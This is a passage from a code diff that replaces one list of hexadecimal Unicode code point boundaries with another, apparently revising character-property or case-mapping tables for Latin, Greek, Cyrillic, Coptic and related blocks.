+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F7,
+	0x1F8,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23B,
+	0x23C,
+	0x23D,
+	0x23E,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x244,
+	0x245,
+	0x246,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x345,
+	0x346,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
 	0x380,
-	0x384,
+	0x386,
+	0x387,
+	0x388,
 	0x38B,
 	0x38C,
 	0x38D,
 	0x38E,
+	0x390,
+	0x391,
 	0x3A2,
 	0x3A3,
-	0x530,
+	0x3AC,
+	0x3B0,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FA,
+	0x3FB,
+	0x3FD,
+	0x400,
+	0x410,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C1,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
 	0x531,
 	0x557,
-	0x559,
-	0x560,
-	0x561,
+	0x587,
 	0x588,
-	0x589,
-	0x58B,
-	0x58D,
-	0x590,
-	0x591,
-	0x5C8,
-	0x5D0,
-	0x5EB,
-	0x5F0,
-	0x5F5,
-	0x600,
-	0x61D,
-	0x61E,
-	0x70E,
-	0x70F,
-	0x74B,
-	0x74D,
-	0x7B2,
-	0x7C0,
-	0x7FB,
-	0x800,
-	0x82E,
-	0x830,
-	0x83F,
-	0x840,
-	0x85C,
-	0x85E,
-	0x85F,
-	0x8A0,
-	0x8B5,
-	0x8B6,
-	0x8BE,
-	0x8D4,
-	0x984,
-	0x985,
-	0x98D,
-	0x98F,
-	0x991,
-	0x993,
-	0x9A9,
-	0x9AA,
-	0x9B1,
-	0x9B2,
-	0x9B3,
-	0x9B6,
-	0x9BA,
-	0x9BC,
-	0x9C5,
-	0x9C7,
-	0x9C9,
-	0x9CB,
-	0x9CF,
-	0x9D7,
-	0x9D8,
-	0x9DC,
-	0x9DE,
-	0x9DF,
-	0x9E4,
-	0x9E6,
-	0x9FC,
-	0xA01,
-	0xA04,
-	0xA05,
-	0xA0B,
-	0xA0F,
-	0xA11,
-	0xA13,
-	0xA29,
-	0xA2A,
-	0xA31,
-	0xA32,
-	0xA34,
-	0xA35,
-	0xA37,
-	0xA38,
-	0xA3A,
-	0xA3C,
-	0xA3D,
-	0xA3E,
-	0xA43,
-	0xA47,
-	0xA49,
-	0xA4B,
-	0xA4E,
-	0xA51,
-	0xA52,
-	0xA59,
-	0xA5D,
-	0xA5E,
-	0xA5F,
-	0xA66,
-	0xA76,
-	0xA81,
-	0xA84,
-	0xA85,
-	0xA8E,
-	0xA8F,
-	0xA92,
-	0xA93,
-	0xAA9,
-	0xAAA,
-	0xAB1,
-	0xAB2,
-	0xAB4,
-	0xAB5,
-	0xABA,
-	0xABC,
-	0xAC6,
-	0xAC7,
-	0xACA,
-	0xACB,
-	0xACE,
-	0xAD0,
-	0xAD1,
-	0xAE0,
-	0xAE4,
-	0xAE6,
-	0xAF2,
-	0xAF9,
-	0xAFA,
-	0xB01,
-	0xB04,
-	0xB05,
-	0xB0D,
-	0xB0F,
-	0xB11,
-	0xB13,
-	0xB29,
-	0xB2A,
-	0xB31,
-	0xB32,
-	0xB34,
-	0xB35,
-	0xB3A,
-	0xB3C,
-	0xB45,
-	0xB47,
-	0xB49,
-	0xB4B,
-	0xB4E,
-	0xB56,
-	0xB58,
-	0xB5C,
-	0xB5E,
-	0xB5F,
-	0xB64,
-	0xB66,
-	0xB78,
-	0xB82,
-	0xB84,
-	0xB85,
-	0xB8B,
-	0xB8E,
-	0xB91,
-	0xB92,
-	0xB96,
-	0xB99,
-	0xB9B,
-	0xB9C,
-	0xB9D,
-	0xB9E,
-	0xBA0,
-	0xBA3,
-	0xBA5,
-	0xBA8,
-	0xBAB,
-	0xBAE,
-	0xBBA,
-	0xBBE,
-	0xBC3,
-	0xBC6,
-	0xBC9,
-	0xBCA,
-	0xBCE,
-	0xBD0,
-	0xBD1,
-	0xBD7,
-	0xBD8,
-	0xBE6,
-	0xBFB,
-	0xC00,
-	0xC04,
-	0xC05,
-	0xC0D,
-	0xC0E,
-	0xC11,
-	0xC12,
-	0xC29,
-	0xC2A,
-	0xC3A,
-	0xC3D,
-	0xC45,
-	0xC46,
-	0xC49,
-	0xC4A,
-	0xC4E,
-	0xC55,
-	0xC57,
-	0xC58,
-	0xC5B,
-	0xC60,
-	0xC64,
-	0xC66,
-	0xC70,
-	0xC78,
-	0xC84,
-	0xC85,
-	0xC8D,
-	0xC8E,
-	0xC91,
-	0xC92,
-	0xCA9,
-	0xCAA,
-	0xCB4,
-	0xCB5,
-	0xCBA,
-	0xCBC,
-	0xCC5,
-	0xCC6,
-	0xCC9,
-	0xCCA,
-	0xCCE,
-	0xCD5,
-	0xCD7,
-	0xCDE,
-	0xCDF,
-	0xCE0,
-	0xCE4,
-	0xCE6,
-	0xCF0,
-	0xCF1,
-	0xCF3,
-	0xD01,
-	0xD04,
-	0xD05,
-	0xD0D,
-	0xD0E,
-	0xD11,
-	0xD12,
-	0xD3B,
-	0xD3D,
-	0xD45,
-	0xD46,
-	0xD49,
-	0xD4A,
-	0xD50,
-	0xD54,
-	0xD64,
-	0xD66,
-	0xD80,
-	0xD82,
-	0xD84,
-	0xD85,
-	0xD97,
-	0xD9A,
-	0xDB2,
-	0xDB3,
-	0xDBC,
-	0xDBD,
-	0xDBE,
-	0xDC0,
-	0xDC7,
-	0xDCA,
-	0xDCB,
-	0xDCF,
-	0xDD5,
-	0xDD6,
-	0xDD7,
-	0xDD8,
-	0xDE0,
-	0xDE6,
-	0xDF0,
-	0xDF2,
-	0xDF5,
-	0xE01,
-	0xE3B,
-	0xE3F,
-	0xE5C,
-	0xE81,
-	0xE83,
-	0xE84,
-	0xE85,
-	0xE87,
-	0xE89,
-	0xE8A,
-	0xE8B,
-	0xE8D,
-	0xE8E,
-	0xE94,
-	0xE98,
-	0xE99,
-	0xEA0,
-	0xEA1,
-	0xEA4,
-	0xEA5,
-	0xEA6,
-	0xEA7,
-	0xEA8,
-	0xEAA,
-	0xEAC,
-	0xEAD,
-	0xEBA,
-	0xEBB,
-	0xEBE,
-	0xEC0,
-	0xEC5,
-	0xEC6,
-	0xEC7,
-	0xEC8,
-	0xECE,
-	0xED0,
-	0xEDA,
-	0xEDC,
-	0xEE0,
-	0xF00,
-	0xF48,
-	0xF49,
-	0xF6D,
-	0xF71,
-	0xF98,
-	0xF99,
-	0xFBD,
-	0xFBE,
-	0xFCD,
-	0xFCE,
-	0xFDB,
-	0x1000,
+	0x10A0,
 	0x10C6,
 	0x10C7,
 	0x10C8,
 	0x10CD,
 	0x10CE,
-	0x10D0,
-	0x1249,
-	0x124A,
-	0x124E,
-	0x1250,
-	0x1257,
-	0x1258,
-	0x1259,
-	0x125A,
-	0x125E,
-	0x1260,
-	0x1289,
-	0x128A,
-	0x128E,
-	0x1290,
-	0x12B1,
-	0x12B2,
-	0x12B6,
-	0x12B8,
-	0x12BF,
-	0x12C0,
-	0x12C1,
-	0x12C2,
-	0x12C6,
-	0x12C8,
-	0x12D7,
-	0x12D8,
-	0x1311,
-	0x1312,
-	0x1316,
-	0x1318,
-	0x135B,
-	0x135D,
-	0x137D,
-	0x1380,
-	0x139A,
-	0x13A0,
-	0x13F6,
 	0x13F8,
 	0x13FE,
-	0x1400,
-	0x169D,
-	0x16A0,
-	0x16F9,
-	0x1700,
-	0x170D,
-	0x170E,
-	0x1715,
-	0x1720,
-	0x1737,
-	0x1740,
-	0x1754,
-	0x1760,
-	0x176D,
-	0x176E,
-	0x1771,
-	0x1772,
-	0x1774,
-	0x1780,
-	0x17DE,
-	0x17E0,
-	0x17EA,
-	0x17F0,
-	0x17FA,
-	0x1800,
-	0x180F,
-	0x1810,
-	0x181A,
-	0x1820,
-	0x1878,
-	0x1880,
-	0x18AB,
-	0x18B0,
-	0x18F6,
-	0x1900,
-	0x191F,
-	0x1920,
-	0x192C,
-	0x1930,
-	0x193C,
-	0x1940,
-	0x1941,
-	0x1944,
-	0x196E,
-	0x1970,
-	0x1975,
-	0x1980,
-	0x19AC,
-	0x19B0,
-	0x19CA,
-	0x19D0,
-	0x19DB,
-	0x19DE,
-	0x1A1C,
-	0x1A1E,
-	0x1A5F,
-	0x1A60,
-	0x1A7D,
-	0x1A7F,
-	0x1A8A,
-	0x1A90,
-	0x1A9A,
-	0x1AA0,
-	0x1AAE,
-	0x1AB0,
-	0x1ABF,
-	0x1B00,
-	0x1B4C,
-	0x1B50,
-	0x1B7D,
-	0x1B80,
-	0x1BF4,
-	0x1BFC,
-	0x1C38,
-	0x1C3B,
-	0x1C4A,
-	0x1C4D,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
 	0x1C89,
-	0x1CC0,
-	0x1CC8,
-	0x1CD0,
-	0x1CF7,
-	0x1CF8,
-	0x1CFA,
-	0x1D00,
-	0x1DF6,
-	0x1DFB,
-	0x1F16,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E97,
+	0x1E98,
+	0x1E99,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
 	0x1F18,
 	0x1F1E,
-	0x1F20,
-	0x1F46,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
 	0x1F48,
 	0x1F4E,
 	0x1F50,
-	0x1F58,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
 	0x1F59,
 	0x1F5A,
 	0x1F5B,
@@ -540,831 +933,2854 @@
 	0x1F5D,
 	0x1F5E,
 	0x1F5F,
-	0x1F7E,
+	0x1F60,
+	0x1F68,
+	0x1F70,
 	0x1F80,
+	0x1F81,
+	0x1F82,
+	0x1F83,
+	0x1F84,
+	0x1F85,
+	0x1F86,
+	0x1F87,
+	0x1F88,
+	0x1F89,
+	0x1F8A,
+	0x1F8B,
+	0x1F8C,
+	0x1F8D,
+	0x1F8E,
+	0x1F8F,
+	0x1F90,
+	0x1F91,
+	0x1F92,
+	0x1F93,
+	0x1F94,
+	0x1F95,
+	0x1F96,
+	0x1F97,
+	0x1F98,
+	0x1F99,
+	0x1F9A,
+	0x1F9B,
+	0x1F9C,
+	0x1F9D,
+	0x1F9E,
+	0x1F9F,
+	0x1FA0,
+	0x1FA1,
+	0x1FA2,
+	0x1FA3,
+	0x1FA4,
+	0x1FA5,
+	0x1FA6,
+	0x1FA7,
+	0x1FA8,
+	0x1FA9,
+	0x1FAA,
+	0x1FAB,
+	0x1FAC,
+	0x1FAD,
+	0x1FAE,
+	0x1FAF,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
 	0x1FB5,
 	0x1FB6,
+	0x1FB7,
+	0x1FB8,
+	0x1FBA,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC3,
+	0x1FC4,
 	0x1FC5,
 	0x1FC6,
+	0x1FC7,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD2,
+	0x1FD3,
 	0x1FD4,
 	0x1FD6,
+	0x1FD7,
+	0x1FD8,
+	0x1FDA,
 	0x1FDC,
-	0x1FDD,
-	0x1FF0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FE7,
+	0x1FE8,
+	0x1FEA,
+	0x1FEC,
+	0x1FED,
 	0x1FF2,
+	0x1FF3,
+	0x1FF4,
 	0x1FF5,
 	0x1FF6,
-	0x1FFF,
-	0x2000,
-	0x2065,
-	0x2066,
-	0x2072,
-	0x2074,
-	0x208F,
-	0x2090,
-	0x209D,
-	0x20A0,
-	0x20BF,
-	0x20D0,
-	0x20F1,
-	0x2100,
-	0x218C,
-	0x2190,
-	0x23FF,
-	0x2400,
-	0x2427,
-	0x2440,
-	0x244B,
-	0x2460,
-	0x2B74,
-	0x2B76,
-	0x2B96,
-	0x2B98,
-	0x2BBA,
-	0x2BBD,
-	0x2BC9,
-	0x2BCA,
-	0x2BD2,
-	0x2BEC,
-	0x2BF0,
+	0x1FF7,
+	0x1FF8,
+	0x1FFA,
+	0x1FFC,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212B,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
 	0x2C00,
 	0x2C2F,
-	0x2C30,
-	0x2C5F,
 	0x2C60,
-	0x2CF4,
-	0x2CF9,
-	0x2D26,
-	0x2D27,
-	0x2D28,
-	0x2D2D,
-	0x2D2E,
-	0x2D30,
-	0x2D68,
-	0x2D6F,
-	0x2D71,
-	0x2D7F,
-	0x2D97,
-	0x2DA0,
-	0x2DA7,
-	0x2DA8,
-	0x2DAF,
-	0x2DB0,
-	0x2DB7,
-	0x2DB8,
-	0x2DBF,
-	0x2DC0,
-	0x2DC7,
-	0x2DC8,
-	0x2DCF,
-	0x2DD0,
-	0x2DD7,
-	0x2DD8,
-	0x2DDF,
-	0x2DE0,
-	0x2E45,
-	0x2E80,
-	0x2E9A,
-	0x2E9B,
-	0x2EF4,
-	0x2F00,
-	0x2FD6,
-	0x2FF0,
-	0x2FFC,
-	0x3000,
-	0x3040,
-	0x3041,
-	0x3097,
-	0x3099,
-	0x3100,
-	0x3105,
-	0x312E,
-	0x3131,
-	0x318F,
-	0x3190,
-	0x31BB,
-	0x31C0,
-	0x31E4,
-	0x31F0,
-	0x321F,
-	0x3220,
-	0x32FF,
-	0x3300,
-	0x4DB6,
-	0x4DC0,
-	0x9FD6,
-	0xA000,
-	0xA48D,
-	0xA490,
-	0xA4C7,
-	0xA4D0,
-	0xA62C,
+	0x2C61,
+	0x2C62,
+	0x2C63,
+	0x2C64,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C6E,
+	0x2C6F,
+	0x2C70,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C80,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
 	0xA640,
-	0xA6F8,
-	0xA700,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77E,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AB,
